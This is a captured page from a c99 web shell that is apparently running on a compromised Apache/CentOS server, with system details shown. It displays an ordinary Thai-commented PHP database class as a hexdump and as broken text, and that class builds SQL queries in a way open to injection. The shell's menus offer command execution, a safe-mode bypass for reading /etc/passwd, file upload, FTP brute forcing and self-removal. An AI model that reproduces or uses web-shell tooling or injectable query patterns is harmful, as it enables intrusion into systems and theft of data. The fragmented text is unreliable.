!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/ums/   drwxr-xr-x
Free 52.3 GB of 127.8 GB (40.92%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     clsUmQuestion.php (2.76 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Information:
Path /var/www/html/mis2222/ums/clsUmQuestion.php
Size 2.76 KB
MD5 120cc8a46eb75f45aa8f9149ced035fc
Owner/Group apache/apache
Perms-rwxr-xr-x
Create time 20/02/2020 14:54:08
Access time 31/07/2024 11:16:16
MODIFY time 13/06/2011 13:29:40

FULL HEXDUMP
00000000
00000018
00000030
00000048
00000060
00000078
00000090
000000A8
000000C0
000000D8
000000F0
00000108
00000120
00000138
00000150
00000168
00000180
00000198
000001B0
000001C8
000001E0
000001F8
00000210
00000228
00000240
00000258
00000270
00000288
000002A0
000002B8
000002D0
000002E8
00000300
00000318
00000330
00000348
00000360
00000378
00000390
000003A8
000003C0
000003D8
000003F0
00000408
00000420
00000438
00000450
00000468
00000480
00000498
000004B0
000004C8
000004E0
000004F8
00000510
00000528
00000540
00000558
00000570
00000588
000005A0
000005B8
000005D0
000005E8
00000600
00000618
00000630
00000648
00000660
00000678
00000690
000006A8
000006C0
000006D8
000006F0
00000708
00000720
00000738
00000750
00000768
00000780
00000798
000007B0
000007C8
000007E0
000007F8
00000810
00000828
00000840
00000858
00000870
00000888
000008A0
000008B8
000008D0
000008E8
00000900
00000918
00000930
00000948
00000960
00000978
00000990
000009A8
000009C0
000009D8
000009F0
00000A08
00000A20
00000A38
00000A50
00000A68
00000A80
00000A98
00000AB0
00000AC8
00000AE0
00000AF8
3C 3F 70 68 70 0A 2F 2F 2D 2D 43 6C 61 73 73 20 75 6D 71 75 65 73 74 69
6F 6E 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D
2D 2D 2D 2D 0A 2F 2F 2D 2D 50 4B 20 6F 66 20 75 6D 71 75 65 73 74 69 6F
6E 20 3A 3A 0A 2F 2F 09 31 2E 20 51 73 49 44 0A 63 6C 61 73 73 20 75 6D
71 75 65 73 74 69 6F 6E 20 65 78 74 65 6E 64 73 20 63 6C 73 44 42 7B 0A
0A 76 61 72 20 24 72 65 73 75 6C 74 3B 0A 0A 76 61 72 20 24 51 73 49 44
3B 0A 76 61 72 20 24 51 73 44 65 73 63 54 3B 0A 76 61 72 20 24 51 73 44
65 73 63 45 3B 0A 0A 66 75 6E 63 74 69 6F 6E 20 75 6D 71 75 65 73 74 69
6F 6E 28 26 24 63 29 7B 0A 09 24 74 68 69 73 2D 3E 63 3D 24 63 2D 3E 63
3B 20 0A 09 24 74 68 69 73 2D 3E 44 42 3D 24 63 2D 3E 64 62 3B 0A 7D 0A
0A 66 75 6E 63 74 69 6F 6E 20 53 61 76 65 28 29 7B 0A 2F 2F 2D 2D E3 AA
E9 E0 C1 B8 CD B4 B9 D5 E9 E0 C1 D7 E8 CD B5 E9 CD A7 A1 D2 C3 BA D1 B9
B7 D6 A1 A2 E9 CD C1 D9 C5 E3 B9 CD EA CD BA E0 A8 EA A1 E0 A2 E9 D2 CA
D9 E8 B0 D2 B9 A2 E9 CD C1 D9 C5 0A 2F 2F 2D 2D E2 B4 C2 A8 D0 B5 C3 C7
A8 CA CD BA CA B6 D2 B9 D0 A2 CD A7 A2 E9 CD C1 D9 C5 C7 E8 D2 A2 E9 CD
C1 D9 C5 E3 B9 CD EA CD BA E0 A8 EA A1 E0 BB E7 B9 A2 E9 CD C1 D9 C5 E3
CB C1 E8 CB C3 D7 CD A2 E9 CD C1 D9 C5 E0 B4 D4 C1 0A 2F 2F 2D 2D 31 20
E0 BB E7 B9 A2 E9 CD C1 D9 C5 E3 CB C1 E8 20 20 32 20 E0 BB E7 B9 A2 E9
CD C1 D9 C5 E0 B4 D4 C1 0A 09 69 66 20 28 24 74 68 69 73 2D 3E 73 74 61
74 75 73 3D 3D 31 29 7B 0A 09 09 24 74 68 69 73 2D 3E 51 73 49 44 3D 24
74 68 69 73 2D 3E 47 65 74 4E 65 78 74 43 6F 64 65 28 29 3B 0A 09 09 24
73 71 6C 20 3D 20 22 69 6E 73 65 72 74 20 69 6E 74 6F 20 75 6D 71 75 65
73 74 69 6F 6E 20 76 61 6C 75 65 73 28 27 24 74 68 69 73 2D 3E 51 73 49
44 27 2C 20 27 24 74 68 69 73 2D 3E 51 73 44 65 73 63 54 27 2C 20 27 24
74 68 69 73 2D 3E 51 73 44 65 73 63 45 27 29 22 3B 0A 09 7D 65 6C 73 65
20 7B 0A 09 09 24 73 71 6C 20 3D 20 22 75 70 64 61 74 65 20 75 6D 71 75
65 73 74 69 6F 6E 20 73 65 74 20 51 73 44 65 73 63 54 3D 27 24 74 68 69
73 2D 3E 51 73 44 65 73 63 54 27 2C 20 51 73 44 65 73 63 45 3D 27 24 74
68 69 73 2D 3E 51 73 44 65 73 63 45 27 20 77 68 65 72 65 20 51 73 49 44
3D 27 24 74 68 69 73 2D 3E 51 73 49 44 27 22 3B 0A 09 7D 0A 09 72 65 74
75 72 6E 20 24 74 68 69 73 2D 3E 44 6D 6C 28 24 73 71 6C 29 3B 0A 7D 0A
0A 66 75 6E 63 74 69 6F 6E 20 44 65 6C 65 74 65 28 29 7B 0A 2F 2F 2D 2D
E3 AA E9 E0 C1 B8 CD B4 B9 D5 E9 E0 BE D7 E8 CD C5 BA A2 E9 CD C1 D9 C5
E0 B4 D4 C1 E3 B9 CD EA CD BA E0 A8 EA A1 0A 2F 2F 2D 2D E0 BB E7 B9 A1
D2 C3 C5 BA A2 E9 CD C1 D9 C5 B7 D5 C5 D0 20 31 20 E0 C3 A4 CD C3 EC B4
0A 2F 2F 2D 2D B5 E9 CD A7 E0 C3 D5 C2 A1 E0 C1 B8 CD B4 B5 D2 C1 C5 D3
B4 D1 BA B4 D1 A7 B9 D5 E9 20 53 65 61 72 63 68 42 79 4B 65 79 28 29 2D
2D 3E 47 65 74 52 65 63 6F 72 64 28 29 2D 2D 3E 44 65 6C 65 74 65 28 29
0A 09 72 65 74 75 72 6E 20 24 74 68 69 73 2D 3E 44 6D 6C 28 22 64 65 6C
65 74 65 20 66 72 6F 6D 20 75 6D 71 75 65 73 74 69 6F 6E 20 77 68 65 72
65 20 51 73 49 44 3D 27 24 74 68 69 73 2D 3E 51 73 49 44 27 22 29 3B 0A
7D 0A 0A 66 75 6E 63 74 69 6F 6E 20 47 65 74 4E 65 78 74 43 6F 64 65 28
29 7B 0A 2F 2F 2D 2D E3 AA E9 E0 C1 B8 CD B4 B9 D5 E9 E0 BE D7 E8 CD CB
D2 A4 E8 D2 CA D9 A7 CA D8 B4 A2 CD A7 BF D4 C5 B4 EC B7 D5 E8 E3 AA E9
E0 BB E7 B9 A4 D5 C2 EC A2 CD A7 B5 D2 C3 D2 A7 20 E3 B9 C5 D1 A1 C9 B3
D0 20 61 75 74 6F 20 69 6E 63 72 65 6D 65 6E 74 0A 2F 2F 2D 2D B5 E9 CD
A7 E0 BB E7 B9 BF D4 C5 B4 EC B7 D5 E8 E4 C1 E8 E4 B4 E9 A1 D3 CB B9 B4
C3 CB D1 CA E0 CD A7 B7 D2 A7 A8 CD C0 D2 BE 0A 09 24 74 68 69 73 2D 3E
53 65 74 51 75 65 72 79 28 22 73 65 6C 65 63 74 20 6D 61 78 28 51 73 49
44 29 20 61 73 20 6E 75 6D 20 66 72 6F 6D 20 75 6D 71 75 65 73 74 69 6F
6E 22 29 3B 0A 09 69 66 20 28 24 72 65 73 75 6C 74 3D 24 74 68 69 73 2D
3E 47 65 74 52 65 73 75 6C 74 28 29 29 20 7B 0A 09 09 72 65 74 75 72 6E
20 24 72 65 73 75 6C 74 5B 27 6E 75 6D 27 5D 2B 31 3B 0A 09 7D 0A 7D 0A
0A 66 75 6E 63 74 69 6F 6E 20 52 53 75 6D 71 75 65 73 74 69 6F 6E 28 29
7B 0A 2F 2F 2D 2D E0 C1 B8 CD B4 B7 D5 E8 A2 D6 E9 B9 B5 E9 B9 B4 E9 C7
C2 20 52 53 20 28 52 65 73 75 6C 74 20 53 65 74 29 20 C1 D5 A4 C7 D2 C1
CB C1 D2 C2 C7 E8 D2 A8 D0 E4 B4 E9 C3 D1 BA A2 E9 CD C1 D9 C5 A1 C5 D1
BA C1 D2 A8 D2 A1 A1 D2 C3 20 73 65 6C 65 63 74 20 C1 D2 A1 A1 C7 E8 D2
20 31 20 E0 C3 A4 CD C3 EC B4 0A 2F 2F 2D 2D BB A1 B5 D4 E0 C1 D7 E8 CD
E0 C3 D5 C2 A1 E3 AA E9 E0 C1 B8 CD B4 20 52 53 78 78 78 78 20 A8 D0 B5
E9 CD A7 E0 C3 D5 C2 A1 E0 C1 B8 CD B4 20 47 65 74 52 65 63 6F 72 64 28
29 20 B4 E9 C7 C2 E0 CA C1 CD 0A 2F 2F 2D 2D E2 B4 C2 CA D2 C1 D2 C3 B6
E0 BE D4 E8 C1 E0 C1 B8 CD B4 E4 B4 E9 B5 D2 C1 B5 E9 CD A7 A1 D2 C3 20
E1 B5 E8 B5 E9 CD A7 A2 D6 E9 B9 B5 E9 B9 B4 E9 C7 C2 20 52 53 0A 09 24
74 68 69 73 2D 3E 53 65 74 51 75 65 72 79 28 22 73 65 6C 65 63 74 20 2A
20 66 72 6F 6D 20 75 6D 71 75 65 73 74 69 6F 6E 20 6F 72 64 65 72 20 62
79 20 51 73 49 44 22 29 3B 0A 7D 0A 0A 66 75 6E 63 74 69 6F 6E 20 47 65
74 52 65 63 6F 72 64 28 29 7B 0A 2F 2F 2D 2D E0 BB E7 B9 E0 C1 B8 CD B4
B7 D5 E8 B9 D3 A2 E9 CD C1 D9 C5 A8 D2 A1 20 52 65 73 75 6C 74 53 65 74
20 C1 D2 A1 D3 CB B9 B4 E3 CB E9 A1 D1 BA E1 CD B5 B7 C3 D4 BA D4 C7 B5
EC A2 CD A7 CD EA CD BA E0 A8 E7 A1 0A 2F 2F 2D 2D E0 C3 D5 C2 A1 20 47
65 74 52 65 63 6F 72 64 28 29 20 CB B9 D6 E8 A7 A4 C3 D1 E9 A7 20 A8 D0
E0 C5 D7 E8 CD B9 B5 D1 C7 AA D5 E9 E0 C3 A4 CD C3 EC B4 E4 BB CD D5 A1
CB B9 D6 E8 A7 E0 C3 A4 CD C3 EC B4 0A 09 69 66 20 28 24 74 68 69 73 2D
3E 72 65 73 75 6C 74 20 3D 20 24 74 68 69 73 2D 3E 47 65 74 52 65 73 75
6C 74 28 29 29 20 7B 0A 09 09 24 74 68 69 73 2D 3E 51 73 49 44 20 3D 20
24 74 68 69 73 2D 3E 72 65 73 75 6C 74 5B 27 51 73 49 44 27 5D 3B 0A 09
09 24 74 68 69 73 2D 3E 51 73 44 65 73 63 54 20 3D 20 24 74 68 69 73 2D
3E 72 65 73 75 6C 74 5B 27 51 73 44 65 73 63 54 27 5D 3B 0A 09 09 24 74
68 69 73 2D 3E 51 73 44 65 73 63 45 20 3D 20 24 74 68 69 73 2D 3E 72 65
73 75 6C 74 5B 27 51 73 44 65 73 63 45 27 5D 3B 0A 09 09 72 65 74 75 72
6E 20 31 3B 0A 09 7D 65 6C 73 65 20 7B 0A 09 09 72 65 74 75 72 6E 20 30
3B 0A 09 7D 0A 7D 0A 0A 66 75 6E 63 74 69 6F 6E 20 53 65 61 72 63 68 42
79 4B 65 79 28 24 78 4B 65 79 29 7B 0A 2F 2F 2D 2D E3 AA E9 E0 C1 B8 CD
B4 B9 D5 E9 E0 BE D7 E8 CD A4 E9 B9 CB D2 A2 E9 CD C1 D9 C5 B5 D2 C1 20
50 4B 20 B5 E9 CD A7 C3 D0 BA D8 BE D2 C3 D2 C1 D4 E0 B5 CD C3 EC B4 E9
C7 C2 0A 2F 2F 2D 2D E1 C5 D0 B5 E9 CD A7 B5 D2 C1 B4 E9 C7 C2 E0 C1 B8
CD B4 20 47 65 74 52 65 63 6F 72 64 28 29 20 E0 CA C1 CD 0A 09 69 66 20
28 24 74 68 69 73 2D 3E 53 65 74 51 75 65 72 79 28 22 73 65 6C 65 63 74
20 2A 20 66 72 6F 6D 20 75 6D 71 75 65 73 74 69 6F 6E 20 77 68 65 72 65
20 51 73 49 44 3D 20 27 24 78 4B 65 79 27 22 29 29 7B 20 0A 09 09 72 65
74 75 72 6E 20 31 3B 0A 09 7D 65 6C 73 65 20 7B 0A 09 09 72 65 74 75 72
6E 20 30 3B 0A 09 7D 0A 7D 0A 2F 2F 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 20 59 6F 75 20 63 61 6E 20 61 64 64 20 6E 65 77 20 66
75 6E 63 74 69 6F 6E 73 20 62 65 6C 6F 77 20 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2F 2F 0A 66 75 6E 63 74 69 6F 6E
20 73 65 6C 65 63 74 48 54 4D 4C 28 24 6E 61 6D 65 2C 20 24 76 61 6C 3D
22 22 2C 20 24 6C 61 6E 67 3D 22 74 68 22 29 7B 0A 09 24 73 3D 22 3C 73
65 6C 65 63 74 20 6E 61 6D 65 3D 5C 22 24 6E 61 6D 65 5C 22 3E 5C 6E 22
3B 0A 09 69 66 20 28 24 6C 61 6E 67 3D 3D 22 74 68 22 29 0A 09 09 24 73
2E 3D 22 3C 6F 70 74 69 6F 6E 20 76 61 6C 75 65 3D 5C 22 5C 22 3E 2D 2D
2D E0 C5 D7 CD A1 A4 D3 B6 D2 C1 2D 2D 2D 5C 6E 22 3B 0A 09 65 6C 73 65
0A 09 09 24 73 2E 3D 22 3C 6F 70 74 69 6F 6E 20 76 61 6C 75 65 3D 5C 22
5C 22 3E 2D 2D 2D 53 65 6C 65 63 74 20 79 6F 75 72 20 71 75 65 73 74 69
6F 6E 2D 2D 2D 5C 6E 22 3B 0A 09 24 74 68 69 73 2D 3E 52 53 75 6D 71 75
65 73 74 69 6F 6E 28 29 3B 0A 09 77 68 69 6C 65 28 24 74 68 69 73 2D 3E
47 65 74 52 65 63 6F 72 64 28 29 29 7B 0A 09 09 24 43 68 6B 3D 22 22 3B
0A 09 09 69 66 20 28 24 74 68 69 73 2D 3E 51 73 49 44 3D 3D 24 76 61 6C
29 20 24 43 68 6B 3D 22 20 53 65 6C 65 63 74 65 64 22 3B 09 0A 09 09 69
66 20 28 24 6C 61 6E 67 3D 3D 22 74 68 22 29 0A 09 09 09 24 73 2E 3D 22
3C 6F 70 74 69 6F 6E 20 76 61 6C 75 65 3D 5C 22 24 74 68 69 73 2D 3E 51
73 49 44 5C 22 20 24 43 68 6B 3E 24 74 68 69 73 2D 3E 51 73 44 65 73 63
54 5C 6E 22 3B 0A 09 09 65 6C 73 65 0A 09 09 09 24 73 2E 3D 22 3C 6F 70
74 69 6F 6E 20 76 61 6C 75 65 3D 5C 22 24 74 68 69 73 2D 3E 51 73 49 44
5C 22 20 24 43 68 6B 3E 24 74 68 69 73 2D 3E 51 73 44 65 73 63 45 5C 6E
22 3B 0A 09 7D 0A 09 72 65 74 75 72 6E 20 24 73 2E 3D 22 3C 2F 73 65 6C
65 63 74 3E 5C 6E 22 3B 0A 7D 0A 0A 7D 20 2F 2F 2D 2D 45 6E 64 20 63 6C
61 73 73 20 75 6D 71 75 65 73 74 69 6F 6E 2D 2D 0A 3F 3E
<?php //--Class umquesti
on----------------------
---- //--PK of umquestio
n :: // 1. QsID class um
question extends clsDB{ 
 var $result;  var $QsID
; var $QsDescT; var $QsD
escE;  function umquesti
on(&$c){  $this->c=$c->c
;   $this->DB=$c->db; } 
 function Save(){ //--ใช
้เมธอดนี้เมื่อต้องการบัน
ทึกข้อมูลในอ๊อบเจ๊กเข้าส
ู่ฐานข้อมูล //--โดยจะตรว
จสอบสถานะของข้อมูลว่าข้อ
มูลในอ๊อบเจ๊กเป็นข้อมูลใ
หม่หรือข้อมูลเดิม //--1 
เป็นข้อมูลใหม่  2 เป็นข้
อมูลเดิม  if ($this->sta
tus==1){  $this->QsID=$
this->GetNextCode();  $
sql = "insert into umque
stion values('$this->QsI
D', '$this->QsDescT', '$
this->QsDescE')";  }else
 {  $sql = "update umqu
estion set QsDescT='$thi
s->QsDescT', QsDescE='$t
his->QsDescE' where QsID
='$this->QsID'";  }  ret
urn $this->Dml($sql); } 
 function Delete(){ //--
ใช้เมธอดนี้เพื่อลบข้อมูล
เดิมในอ๊อบเจ๊ก //--เป็นก
ารลบข้อมูลทีละ 1 เรคอร์ด
 //--ต้องเรียกเมธอดตามลำ
ดับดังนี้ SearchByKey()-
->GetRecord()-->Delete()
  return $this->Dml("del
ete from umquestion wher
e QsID='$this->QsID'"); 
}  function GetNextCode(
){ //--ใช้เมธอดนี้เพื่อห
าค่าสูงสุดของฟิลด์ที่ใช้
เป็นคีย์ของตาราง ในลักษณ
ะ auto increment //--ต้อ
งเป็นฟิลด์ที่ไม่ได้กำหนด
รหัสเองทางจอภาพ  $this->
SetQuery("select max(QsI
D) as num from umquestio
n");  if ($result=$this-
>GetResult()) {  return
 $result['num']+1;  } } 
 function RSumquestion()
{ //--เมธอดที่ขึ้นต้นด้ว
ย RS (Result Set) มีความ
หมายว่าจะได้รับข้อมูลกลั
บมาจากการ select มากกว่า
 1 เรคอร์ด //--ปกติเมื่อ
เรียกใช้เมธอด RSxxxx จะต
้องเรียกเมธอด GetRecord(
) ด้วยเสมอ //--โดยสามารถ
เพิ่มเมธอดได้ตามต้องการ 
แต่ต้องขึ้นต้นด้วย RS  $
this->SetQuery("select *
 from umquestion order b
y QsID"); }  function Ge
tRecord(){ //--เป็นเมธอด
ที่นำข้อมูลจาก ResultSet
 มากำหนดให้กับแอตทริบิวต
์ของอ๊อบเจ็ก //--เรียก G
etRecord() หนึ่งครั้ง จะ
เลื่อนตัวชี้เรคอร์ดไปอีก
หนึ่งเรคอร์ด  if ($this-
>result = $this->GetResu
lt()) {  $this->QsID = 
$this->result['QsID']; 
$this->QsDescT = $this-
>result['QsDescT'];  $t
his->QsDescE = $this->re
sult['QsDescE'];  retur
n 1;  }else {  return 0
;  } }  function SearchB
yKey($xKey){ //--ใช้เมธอ
ดนี้เพื่อค้นหาข้อมูลตาม 
PK ต้องระบุพารามิเตอร์ด้
วย //--และต้องตามด้วยเมธ
อด GetRecord() เสมอ  if 
($this->SetQuery("select
 * from umquestion where
 QsID= '$xKey'")){   re
turn 1;  }else {  retur
n 0;  } } //************
****** You can add new f
unctions below *********
*************// function
 selectHTML($name, $val=
"", $lang="th"){  $s="<s
elect name=\"$name\">\n"
;  if ($lang=="th")  $s
.="<option value=\"\">--
-เลือกคำถาม---\n";  else
  $s.="<option value=\"
\">---Select your questi
on---\n";  $this->RSumqu
estion();  while($this->
GetRecord()){  $Chk="";
  if ($this->QsID==$val
) $Chk=" Selected";   i
f ($lang=="th")  $s.="
<option value=\"$this->Q
sID\" $Chk>$this->QsDesc
T\n";  else  $s.="<op
tion value=\"$this->QsID
\" $Chk>$this->QsDescE\n
";  }  return $s.="</sel
ect>\n"; }  } //--End cl
ass umquestion-- ?>

HEXDUMP: [Full] [Preview]
Base64:
[Encode [+chunk [+chunk+quotes [Decode


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0169 ]--